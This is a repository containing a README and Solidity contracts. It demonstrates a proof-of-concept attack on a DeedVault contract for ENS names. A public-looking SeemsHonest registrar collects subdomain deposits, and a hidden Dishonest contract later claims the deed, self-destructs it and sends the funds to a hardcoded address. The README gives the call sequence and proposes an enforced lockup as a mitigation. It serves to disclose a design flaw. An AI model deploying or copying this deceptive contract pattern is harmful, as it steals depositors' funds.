Instaclaim: exploring an attack on DeedVault

README.md

Instaclaim: exploring an attack on DeedVault

When should I use this code?

Never. For people who accidentally stumble on code, do NOT use it as a template for good design. Apart from the intentional threats, it probably has unintentional bugs.

How does the attack work?

SeemsHonest holds deposits, and is publicly expected to be replaced by a very similar contract. Instead, it is replaced by Dishonest, and subdomain deposits are stolen.

To run this attack, sometime after the .eth registrar is upgraded, the previous deed holder calls:

dishonest = new Dishonest();
seemsHonest.doTransfer(dishonest);
// ****** A forced lockup here would give people a chance to deregister
dishonest.claimMuahahah(seemsHonest.address);

How can we mitigate the attack?

If there were an enforced gap between transfer() and claim(), then subdomain holders could withdraw their deposits. I suspect this isn't the only possible attack when there is no lockup period.

What is the downside of this mitigation?

We should hope and aim for the new registrar API to be released significantly more than 2 weeks before it is launched. Subdomain registrars should be able to write their replacement contracts, publish them, and transfer ownership to them long before the new registrar goes live. The claim() would naturally happen more than two weeks after the transfer(), so a 2-week failsafe has no downside for them. It only slows down contracts who waited until after the upgrade to start the transfer().

How real of a threat is this?

To be fair, code that follows best practices would not use DeedVault this way. I intentionally designed it for a threat. But it's not unreasonable to think that well-meaning actors could accidentally do this. Also, malicious actors could try to hide behind faux good intentions with this code.

DeedVault.sol

pragma solidity ^0.4.15;

contract ENS {
    function setSubnodeOwner(bytes32 node, bytes32 label, address owner);
    function owner(bytes32 node) constant returns (address);
}

contract Deed {
    address public owner;
    address public previousOwner;
}

contract HashRegistrarSimplified {
    enum Mode { Open, Auction, Owned, Forbidden, Reveal, NotYetAvailable }

    function entries(bytes32 _hash) constant returns (Mode, address, uint, uint, uint);
    function transfer(bytes32 _hash, address newOwner);
}

/**
 * @dev DeedVault provides a way for owners of ENS deeds to restrict their
 *      ability to make changes to a name they own. Once ownership of a deed is
 *      transferred to DeedVault, the original owner may not do anything with
 *      the deed other than transfer ownership to another account until the
 *      registrar is upgraded, at which point they may claim back ownership of
 *      the deed. The transfer function allows owners to precommit to an upgrade
 *      path before the new registrar is deployed.
 */
contract DeedVault {
    // namehash('eth')
    bytes32 constant REGISTRAR_NODE = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae;

    ENS ens = ENS(0x314159265dD8dbb310642f98f50C066173C1259b);
    HashRegistrarSimplified public registrar;
    mapping(bytes32=>address) owners;

    function DeedVault() {
        registrar = HashRegistrarSimplified(ens.owner(REGISTRAR_NODE));
    }

    /**
     * @dev owner returns the address of the account that owns a deed. Initially
     *      this is the owner of the deed according to the registry, or the
     *      previousOwner if ownership has already been transferred to this
     *      contract. Afterwards, the owner may transfer control to anther account.
     * @param label The label hash of the deed to check.
     * @return The address owning the deed.
     */
    function owner(bytes32 label) constant returns(address) {
        if(owners[label] != 0) {
            return owners[label];
        }
        var (,deedAddress,,,) = registrar.entries(label);
        
        var deed = Deed(deedAddress);
        var deedOwner = deed.owner();
        if(deedOwner == address(this)) {
            return deed.previousOwner();
        }
        return deedOwner;
    }
    
    modifier owner_only(bytes32 label) {
        require(owner(label) == msg.sender);
        _;
    }
    
    modifier new_registrar() {
        require(ens.owner(REGISTRAR_NODE) != address(registrar));
        _;
    }
    
    /**
     * @dev Transfers control of a deed to a new account.
     * @param label The label hash of the deed to transfer.
     * @param newOwner The address of the new owner.
     */
    function transfer(bytes32 label, address newOwner) owner_only(label) {
        owners[label] = newOwner;
    }

    /**
     * @dev Claims back the deed after a registrar upgrade.
     * @param label The label hash of the deed to transfer.
     */
    function claim(bytes32 label) owner_only(label) new_registrar {
        registrar.transfer(label, msg.sender);
    }
}

SeemsHonest.sol

pragma solidity ^0.4.15;

import "./DeedVault.sol";

// This contract owns the domain, and the source is publicly verifiable
contract SeemsHonest is DeedVault {
  bytes32 registrarHash; // hash of the label this registrar maintains
  bytes32 registrarNode; // namehash of the full domain this registrar maintains
  uint deposit = 0.01 ether;
  ENS ens = ENS(0x314159265dD8dbb310642f98f50C066173C1259b);

  function SeemsHonest (bytes32 myHash) {
    registrarHash = myHash;
    registrarNode = sha3(REGISTRAR_NODE, myHash);
  }

  function subnodeOwner(bytes32 labelHash) constant returns (address) {
    bytes32 subnode = sha3(registrarNode, labelHash); // namehash() of subnode
    return ens.owner(subnode);
  }

  function register(bytes32 labelHash) payable {
    require(this == ens.owner(registrarNode));
    require(msg.value == deposit);
    require(subnodeOwner(labelHash) == 0);
    ens.setSubnodeOwner(registrarNode, labelHash, msg.sender);
  }

  function deregister(bytes32 labelHash) {
    require(this == ens.owner(registrarNode));
    require(msg.sender == subnodeOwner(labelHash));
    ens.setSubnodeOwner(registrarNode, labelHash, 0);
    msg.sender.transfer(deposit);
  }
  
  function doTransfer(address newOwner) owner_only(registrarHash) {
    transfer(registrarHash, newOwner);
  }

  function doClaim() owner_only(registrarHash) {
    claim(registrarHash);
    selfdestruct(msg.sender);
    // ^ this should be a red flag, but similar calls will be tempting for well-meaning actors.
    // I can imagine people having the impulse to transfer everything to the new contract.
  }
}

// This contract will own the domain later, and is not visible (until the damage is done)
contract Dishonest {
  function claimMuahahah(SeemsHonest seemedHonest) {
    seemedHonest.doClaim();
    0x5B2063246F2191f18F2675ceDB8b28102e957458.transfer(this.balance);
  }
}